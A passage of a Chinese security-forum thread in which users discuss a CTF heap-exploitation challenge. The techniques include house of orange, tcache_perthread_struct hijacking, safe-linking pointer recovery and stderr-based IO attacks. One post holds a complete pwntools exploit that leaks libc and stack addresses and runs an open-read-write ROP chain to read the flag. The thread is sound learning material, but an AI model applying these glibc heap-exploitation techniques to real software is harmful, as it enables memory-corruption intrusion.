能力值:
( LV7,RANK:110 )
|
-
-
2 楼
1
最后于 2026-5-9 16:48
被s1nec-1o编辑
,原因:
|
能力值:
( LV5,RANK:60 )
|
-
-
3 楼
s1nec-1o
1
师傅没来得及看到您回复的内容)是这道题有什么别的思路吗,可以讨论一下!
|
能力值:
( LV12,RANK:286 )
|
-
-
4 楼
我见过pwn最nb的师傅之一
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装而成的,也就是说这题最终调用 _exit() 退出时是会刷新 IO流的  然后这题的话我和我的学长讨论了一下,他说他的打法是利用 house of orange 先搞出一个 free bin 然后改 tcache 的size越界合并劫持整个 tcache struct ,然后就能通过劫持 tcache struct 来实现劫持 tcache 链,最终就可以随便去打了,具体的我还在打,等我打完看看
最后于 2026-5-14 18:35
被B1t3编辑
,原因: 发现评论的技术细节有点小问题,修改一下
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
我参考了一下我一位学长的思路,然后自己复现了一下,在前面部分我们的思路都大差不差,后面的话我选择的时利用方法泄露出栈地址,然后构造orw链,修改劫持的 tcache_perthread_struct 结构体,然后将程序的返回地址取出,对齐进行劫持,然后打 orw获取flag,用这个方法可以无需泄露堆地址
EXP
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
io = process("./shop")
libc = ELF("./libc.so.6")
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ru = lambda x : io.recvuntil(x)
r = lambda x : io.recv(x)
sla = lambda x, data : io.sendlineafter(x, data)
inter = lambda : io.interactive()
rl = lambda a = False : io.recvline(a)
sa = lambda x, data : io.sendafter(x, data)
def debug():
gdb.attach(io)
pause()
def menu(x):
sla(b"> ", str(x).encode())
def malloc(idx, size):
menu(1)
sla(b"Index: ", str(idx).encode())
sla(b"Item size: ", str(size).encode())
def edit(idx, content):
menu(2)
sla(b"Index: ", str(idx).encode())
sa(b"New content: ", content)
def show(idx):
menu(3)
sla(b"Index: ", str(idx).encode())
def free(idx):
menu(4)
sla(b"Index: ", str(idx).encode())
size = 0x1000-0x10
malloc(0,size)
payload = b'\x00' * (size)
payload += p64(0) + p64(0x1001)
edit(0,payload)
malloc(1,0xFFE)
edit(0, b"a" * (size + 0x10))
show(0)
ru(b"a" * (size + 0x10))
main_arena = u64(r(6).ljust(8, b"\x00"))
libc_addr = main_arena - 0x212ac8
log.info("main arena addr =====>> " + hex(main_arena))
log.info("libc addr =====>> " + hex(libc_addr))
rdi = libc_addr + 0x11bcfa
rsi = libc_addr + 0x5c2e7
rdx = libc_addr + 0xe87bd
rax = libc_addr + 0xe5e47
syscall = libc_addr + 0xa0c46
edit(0, b'A' * (size + 8) + p64(0xfe1))
malloc(3, 0xf8)
malloc(4, 0xf8)
edit(3, b"a" * 0xf8 + p64(0x401))
free(4)
malloc(5, 0x3f0)
target = libc_addr + 0x213680
payload = flat({
0x100 + 0x00: 0xf,
0x100 + 0x98: target,
}, filler=b"\x00")
edit(5, payload)
malloc(6, 0x18)
edit(6, b"A" * 0x20)
show(6)
ru(b"A" * 0x20)
stack = u64(r(6).ljust(8, b"\x00")) & ~0xf
log.info("stack addr =====>> " + hex(stack))
payload = flat({
0x100 + 0x18: 0xf001000100010,
0x100 + 0x110: stack - 0x210 - 0x110,
}, filler=b"\x00")
edit(5, payload)
malloc(7, 0x100)
target_stack = stack - 0x210
buf = stack - 0x158
orw_chain = flat({
0x00: rdx,
0x08: 0,
0x10: rax,
0x18: 2,
0x20: rdi,
0x28: buf,
0x30: rsi,
0x38: 0,
0x40: syscall,
0x48: rdx,
0x50: 0x100,
0x58: rdi,
0x60: 3,
0x68: rsi,
0x70: buf,
0x78: libc_addr + libc.sym['read'],
0x80: rdx,
0x88: 0x100,
0x90: rdi,
0x98: 1,
0xa0: rsi,
0xa8: buf,
0xb0: libc_addr + libc.sym['write'],
0xb8: b'./flag'.ljust(0x10, b'\x00')
}, filler=b'\x00')
payload = p64(rdi) + p64(0)
payload += p64(rsi) + p64(target_stack)
payload += p64(rdx) + p64(0x100)
payload += p64(libc_addr + libc.sym['read'])
edit(7, b'A' * 0xF8 + payload)
sl(orw_chain)
inter()
最终能够成功获取flag 
最后于 2026-5-14 20:28
被B1t3编辑
,原因: 添加了点内容
|
能力值:
( LV5,RANK:60 )
|
-
-
7 楼
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
F0xm1ao
B1t3
师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装 ...
但是我的学长就是最后打apple2的啊
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
F0xm1ao
B1t3
师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装 ...
我问了一下我学长,他是利用assert_bort触发的
|
能力值:
( LV2,RANK:10 )
|
-
-
10 楼
F0xm1ao
B1t3
师傅,我看了一下这题,他的 _exit() 函数不是由系统调用的那个 _exit() 你IDA里面双击的点进去可以看到他是由 exit() 函数封装 ...
还有这题泄露堆地址不一定要走calloc一个更大的堆块使得Old Top进入Largebin从而泄露堆地址,你在free将一个chunk放入tcache之后这个chunk的fd指针的值为0,但是tcache的fd指针会被 safe-linking 加密,加密方式为 fd = (pos>>12)⊕real_ptr ,也就是说我们利用show 泄露了fd指针的值之后将其进行 <<12 的运算即可还原出一个堆指针,从而即可泄露堆地址
|
能力值:
( LV5,RANK:60 )
|
-
-
11 楼
B1t3
还有这题泄露堆地址不一定要走calloc一个更大的堆块使得Old Top进入Largebin从而泄露堆地址,你在free将一个chunk放入tcache之后这个chunk的fd指针的值为0,但是tca ...
嗯嗯,我最后的exp用的就是用本身的指针来得到的,另外,能问问那位学长是走哪条assert触发的IO刷新吗,似乎新版本的assert只会触发fflush(stderr),是通过打stderr劫持的控制流吗,确实没在高版本打过stderr这个流,想学习一下,感谢!
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
F0xm1ao
嗯嗯,我最后的exp用的就是用本身的指针来得到的,另外,能问问那位学长是走哪条assert触发的IO刷新吗,似乎新版本的assert只会触发fflush(stderr),是通过打stderr劫持的控制 ...
我学长说就是触发io里的一个报错然后就会用err log的形式输出错误信息,应该就是用stderr来触发,打IO的
|